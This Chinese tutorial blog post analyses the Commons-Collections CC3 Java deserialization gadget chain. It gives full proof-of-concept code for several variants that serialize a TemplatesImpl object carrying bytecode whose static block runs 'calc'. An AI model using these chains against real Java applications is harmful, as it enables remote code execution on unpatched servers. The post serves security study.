Commons-Collections篇-CC3链

2024-06-06 09:04
文章标签 commons collections cc3

本文主要是介绍Commons-Collections篇-CC3链,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

我们分析前两条链CC1和CC6时,都是利用invoke反射调用的Runtime().getRuntime().exec()来执行命令。而很多时候服务器的代码当中的黑名单会选择禁用Runtime

CC3链主要通过动态加载类加载机制来实现自动执行恶意类代码

1.环境安装

可以接着使用我们之前分析CC1链时安装的环境,具体安装步骤可以看上一篇文章:
Commons-Collections篇-CC1链小白基础分析学习

2.分析

CC3的sink点在于defineClass()

在类的动态加载中,有一种利用ClassLoader#defineClass直接加载字节码的手段

ClassLoader.loadClass()—> ClassLoader.findClass()–>ClassLoader.defineClass()

在这里插入图片描述
defineClass()往往都是protected类型的,作用是处理前面传入的字节码,将其处理称真正的Java类,我们平常使用只能通过反射去调用.
如果只加载恶意类,不初始化的话,是不会执行代码,还需要一个实例化操作

2.1 Templateslmpl类分析

我们寻找谁调用了这个方法,找到了TemplatesImpl类中TransletClassLoader#defineClass,TemplatesImpl类实现了Serializable接口,可以被序列化,但是defineClass方法为默认Default,只能在自己类中使用
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们继续find Usages

在这里插入图片描述我们可以看到私有方法defineTransletClasses调用了defineClass(),但是其中有一个if判断,在过程中我们不能让if (_bytecodes == null)判定成功,不然就会抛出错误中断了
在这里插入图片描述
在同类下的getTransletInstance方法中发现了调用,并且还有实例化操作,我们继续寻找
在这里插入图片描述
我们找到了一个公开的方法,接下来开始利用

2.2 Templateslmpl类利用

2.2.1 解决阻碍

在我们之前的分析中,我们能看到有很多的if条件,这些我们都需要提前去满足解决,才能让链正常的执行下去,我们从最上层开始分析限制条件在这里插入图片描述
在这里插入图片描述

  1. _name为String类型,不能为null
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
  1. _class为Class类型的数据,必须为null 默认也是null,不用处理
  2. _bytecodes为字节类型的二维数组,不能为null
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
  1. _tfactory为一个 TransformerFactoryImpl 类型不可序列化的transient的对象,并且初始化为 null,不能为空,他还需要执行方法
Field tfactory = ca.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

我们编写一个demo进行尝试
先写一个恶意类,并将该文件进行编译为class

public class Calc {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e){e.printStackTrace();}}
}
    public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\src\\main\\java\\org\\example\\Calc.java"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());templates.newTransformer();}

在运行之后会有一个空指针异常的错误
在这里插入图片描述
我们调试并定位到发生错误的代码处,发现_auxClasses是Null
在这里插入图片描述
所以我们现在有两种解决方法:

  1. 设置_auxClasses
  2. 让这个if (superClass.getName().equals(ABSTRACT_TRANSLET))条件判断正确

如果我们设置_auxClasses的值,上面的_transletIndex值为-1,在426行代码进行一次判定,还是会抛出错误
在这里插入图片描述
所以我们选择第二个继续分析,只要让defineClass() 方法中传进去的参数 b 数组的字节码继承了 ABSTRACT_TRANSLET 这个父类,就会判定成功
在这里插入图片描述
我们修改弹计算器的测试代码

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e){e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

重新运行上面我们的测试代码在这里插入图片描述

2.3 TrAXFilter分析及实例化

我们接着寻找newTransformer()的用法
在这里插入图片描述
在这里插入图片描述
发现在TrAXFilter 中调用了,但是我们也可以看到TrAXFilter没有继承序列化接口,所以不能反序列化

但是CC3的挖掘者发现了一个专门使用反射来动态创建对象的类InstantiateTransformer
在这里插入图片描述
在这里插入图片描述
我们可以使用这个类来实例化TrAXFilter,所以我们第一步先创建一个InstantiateTransformer实例,然后传入TrAXFilter.class

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

在这里插入图片描述
整体POC

public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});instantiateTransformer.transform(TrAXFilter.class);//序列化
//        serializable(o);
//        unserializable();}

在这里插入图片描述

2.4 CC1+TrAXFilter

我们结合CC1的入口到TrAXFilter的使用,构造POC
注意:在CC1中我们使用恒定转化器 ConstantTransformer 和链式转化器ChainedTransformer 来解决了setValue的值无法控制的问题,我们现在使用中同样要注意使用

package org.example;import com.oracle.jrockit.jfr.ValueDefinition;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();map.put("id",1);Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(ValueDefinition.class, transformedMap);//序列化serializable(o);//        unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

用反序列化来执行上面生成的obj文件

public class CC {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}}

在这里插入图片描述
路线为

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()AbstractInputCheckedMapDecorator$MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()ConstantTransformer.transform()instantiateTransformer.transform()TrAXFilter.TrAXFilter()TemplatesImpl.newTransformer()definclass -> newInstance()

2.5 CC1_LazyMap + TrAXFilter

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map Lazy = LazyMap.decorate(map,chainedTransformer);Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);aDe.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);//序列化serializable(invocationHandler);//        unserializable();}private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

在这里插入图片描述
路线为

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()instantiateTransformer.transform()TrAXFilter.TrAXFilter()TemplatesImpl.newTransformer()definclass -> newInstance()

2.6 CC6 +TrAXFilter

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class CC3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),instantiateTransformer};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));TiedMapEntry tied = new TiedMapEntry(Lazy,0);HashMap map1 = new HashMap();map1.put(tied,1);//本地执行put时,会调用 tiedmapTntry.hashcode lazyMap.get("0") 会让lazyMap key不为flaseLazy.remove(0);  //remove掉put时 lazyMap里的key 使反序列化时能进入transformClass c = LazyMap.class;Field factory = c.getDeclaredField("factory");factory.setAccessible(true);factory.set(Lazy,chainedTransformer);serializable(map1);}//        unserializable();private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}
}

在这里插入图片描述
路线为

HashMap.put()HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()instantiateTransformer.transform()TrAXFilter.TrAXFilter()TemplatesImpl.newTransformer()definclass -> newInstance()

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC6链分析

这篇关于Commons-Collections篇-CC3链的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1035666

相关文章

Java重修笔记 第四十九天 Collections 工具类

Collections 工具类 1. public static void reverse(List<?> list)         反转集合中元素的顺序 2. public static void shuffle(List<?> list)         将集合里的元素顺序打乱 3. public static <T extends Comparable<? super T>>

Python模块 - Collections

collections的常用类型有: 计数器(Counter) 双向队列(deque) 默认字典(defaultdict) 有序字典(OrderedDict) 可命名元组(namedtuple) Counter() Counter 作为字典(dict)的一个子类用来进行hashtable计数,将元素进行数量统计、计数后返回一个字典,键值为元素:值为元素个数 s = 'abcbcac

java.lang.ClassCastException: org.apache.commons.dbcp.BasicDataSource cannot be cast to

ApplicationContext cxt = new ClassPathXmlApplicationContext("beans.xml"); ProductService productService = (ProductService) cxt.getBean("dataSource"); productService.save(new ProductType()); 异常: java

【编程底层思考】详解Java中Collections工具类

Java 的 java.util.Collections 类是一个包装类,它包含了一系列静态方法来操作或返回集合对象。这个类提供了对集合框架的扩展,使得集合的使用更加灵活和强大。以下是 Collections 类的一些关键特性和用途: 静态方法 排序:sort(List list) 可以对列表进行自然顺序排序,sort(List list, Comparator c) 允许使用自定义的比较器进

23. 如何使用Collections.synchronizedList()方法来创建线程安全的集合?有哪些注意事项?

Collections.synchronizedList() 方法用于将一个普通的 List 包装成线程安全的 List。通过这个方法生成的 List,所有的访问和修改操作都会被自动加锁,从而确保在多线程环境下对集合的并发访问是安全的。 如何使用 Collections.synchronizedList() 创建线程安全的集合 以下是使用 Collections.synchronizedL

第一章 集合框架和泛型(ArrayList/LinkedList/HashSet/HashMap/泛型集合/Collections算法类)

第一章 集合框架和泛型 一、Collection 1、Collection 接口存储一组不唯一,无序的对象 二、List List 接口存储一组不唯一,有序(插入顺序)的对象 1.ArrayList 实现了长度可变的数组,在内存中分配连续的空间优点:遍历元素和随机访问元素的效率比较高ArrayList类是List接口的一个具体实现类ArrayList对象实现了可变大小

JAVAWEB开发之文件的上传与下载(开源组件commons-fileupload的详细使用)

文件上传简介 什么是文件上传?为什么使用文件上传? 文件上传就是将客户端资源,通过网路传递到服务器端。 因为文件数据比较大,必须通过文件上传才可以完成将数据保存到数据库端的操作。 文件上传的本质就是IO流操作。 演示:文件上传应该如何操作? 浏览器端: 1.method=post 只有post才可以携带大数据 2.必须使用<input type='fil

2024年最新Java面试宝典系列-Collections集合篇1

Java中的集合类有哪些?它们的特点是什么 List:有序集合,允许重复元素,实现类如ArrayList、LinkedList。Set:无序集合,不允许重复元素,实现类如HashSet、TreeSet。Map:键值对集合,一个键对应一个值,实现类如HashMap、Hashtable、TreeMap。 ArrayList、LinkedList与Vector的区别是什么 ArrayList:基于

0基础学习Python路径(29)collections模块

1.简介 collections 是 python 的内置模块,提供了很多方便且高性能的关于集合的操作,掌握这些知识有助于提高代码的性能和可读性。 2.常用功能 2.1 namedtuple 功能详解 namedtuple() 返回一个新的元组子类,且规定了元组的元素的个数,同时除了使用下标获取元素之外,还可以通过属性直接获取。 from collections import named

Collections求数组最值

Integer[] numbers = { 8, 2, 7, 1, 4, 9, 5}; int min = (int) Collections.min(Arrays.asList(numbers)); int max = (int) Collections.max(Arrays.asList(numbers)); System.out.println("最小值: " + min); System.